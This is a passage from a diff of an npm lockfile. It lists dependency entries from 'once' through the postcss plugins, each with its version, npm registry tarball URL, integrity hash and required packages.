{ + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "requires": { + "wrappy": "1" + } + }, + "onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "requires": { + "mimic-fn": "^2.1.0" + } + }, + "open": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "requires": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + } + }, + "opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==" + }, + "optionator": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", + "devOptional": true, + "requires": { + "@aashutoshrathi/word-wrap": "^1.2.3", + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0" + } + }, + "os-homedir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", + "integrity": "sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ==" + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "requires": { + "p-limit": "^2.2.0" + } + }, + "p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "requires": { + "aggregate-error": "^3.0.0" + } + }, + "p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "requires": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==" + }, + "package-json": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz", + "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==", + "requires": { + "got": "^9.6.0", + "registry-auth-token": "^4.0.0", + "registry-url": "^5.0.0", + "semver": "^6.2.0" + }, + "dependencies": { + "@sindresorhus/is": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", + "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==" + }, + "cacheable-request": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", + "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", + "requires": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^3.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^4.1.0", + "responselike": "^1.0.2" + }, + "dependencies": { + "get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "requires": { + "pump": "^3.0.0" + } + }, + "lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + } + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "requires": { + "pump": "^3.0.0" + } + }, + "got": { + "version": "9.6.0", + "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", + "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", + "requires": { + "@sindresorhus/is": "^0.14.0", + "@szmarczak/http-timer": "^1.1.2", + "cacheable-request": "^6.0.0", + "decompress-response": "^3.3.0", + "duplexer3": "^0.1.4", + "get-stream": "^4.1.0", + "lowercase-keys": "^1.0.1", + "mimic-response": "^1.0.1", + "p-cancelable": "^1.0.0", + "to-readable-stream": "^1.0.0", + "url-parse-lax": "^3.0.0" + } + }, + "http-cache-semantics": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", + "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" + }, + "normalize-url": { + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz", + "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA==" + }, + "p-cancelable": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", + "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==" + }, + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "requires": { + "callsites": "^3.0.0" + } + }, + "parse-entities": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz", + "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==", + "requires": { + "character-entities": "^1.0.0", + "character-entities-legacy": "^1.0.0", + "character-reference-invalid": "^1.0.0", + "is-alphanumerical": "^1.0.0", + "is-decimal": "^1.0.0", + "is-hexadecimal": "^1.0.0" + } + }, + "parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "requires": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + } + }, + "parse-numeric-range": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/parse-numeric-range/-/parse-numeric-range-1.3.0.tgz", + "integrity": "sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ==" + }, + "parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "requires": { + "entities": "^4.4.0" + } + }, + "parse5-htmlparser2-tree-adapter": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz", + "integrity": "sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==", + "requires": { + "domhandler": "^5.0.2", + "parse5": "^7.0.0" + } + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==" + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==" + }, + "path-is-inside": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", + "integrity": "sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==" + }, + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==" + }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "requires": { + "isarray": "0.0.1" + } + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" + }, + "picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==" + }, + "pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "requires": { + "find-up": "^4.0.0" + } + }, + "pkg-up": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz", + "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==", + "requires": { + "find-up": "^3.0.0" + }, + "dependencies": { + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "requires": { + "locate-path": "^3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "requires": { + "p-limit": "^2.0.0" + } + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==" + } + } + }, + "postcss": { + "version": "8.4.28", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.28.tgz", + "integrity": "sha512-Z7V5j0cq8oEKyejIKfpD8b4eBy9cwW2JWPk0+fB1HOAMsfHbnAXLLS+PfVWlzMSLQaWttKDt607I0XHmpE67Vw==", + "requires": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + } + }, + "postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "requires": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-colormin": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "requires": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "requires": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "requires": {} + }, + "postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "requires": {} + }, + "postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "requires": {} + }, + "postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "requires": {} + }, + "postcss-discard-unused": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-unused/-/postcss-discard-unused-5.1.0.tgz", + "integrity": "sha512-KwLWymI9hbwXmJa0dkrzpRbSJEh0vVUd7r8t0yOGPcfKzyJJxFM8kLyC5Ev9avji6nY95pOp1W6HqIrfT+0VGw==", + "requires": { + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-loader": { + "version": "7.3.3", + "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-7.3.3.tgz", + "integrity": "sha512-YgO/yhtevGO/vJePCQmTxiaEwER94LABZN0ZMT4A0vsak9TpO+RvKRs7EmJ8peIlB9xfXCsS7M8LjqncsUZ5HA==", + "requires": { + "cosmiconfig": "^8.2.0", + "jiti": "^1.18.2", + "semver": "^7.3.8" + }, + "dependencies": { + "cosmiconfig": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-8.2.0.tgz", + "integrity": "sha512-3rTMnFJA1tCOPwRxtgF4wd7Ab2qvDbL8jX+3smjIbS4HlZBagTlpERbdN7iAbWlrfxE3M8c27kTwTawQ7st+OQ==", + "requires": { + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0" + } + } + } + }, + "postcss-merge-idents": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-merge-idents/-/postcss-merge-idents-5.1.1.tgz", + "integrity": "sha512-pCijL1TREiCoog5nQp7wUe+TUonA2tC2sQ54UGeMmryK3UFGIYKqDyjnqd6RcuI4znFn9hWSLNN8xKE/vWcUQw==", + "requires": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "requires": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + } + }, + "postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "requires": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "requires": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "requires": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "requires": { + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "requires": {} + }, + "postcss-modules-local-by-default": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.3.tgz", + "integrity": "sha512-2/u2zraspoACtrbFRnTijMiQtb4GW4BvatjaG/bCjYQo8kLTdevCUlwuBHx2sCnSyrI3x3qj4ZK1j5LQBgzmwA==", + "requires": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + } + }, + "postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "requires": { + "postcss-selector-parser": "^6.0.4" + } + }, + "postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "requires": { + "icss-utils": "^5.0.0" + } + }, + "postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "requires": {} + }, + "postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "requires": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "requires": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "dependencies": { + "normalize-url": { + "version": "6.1.0", + 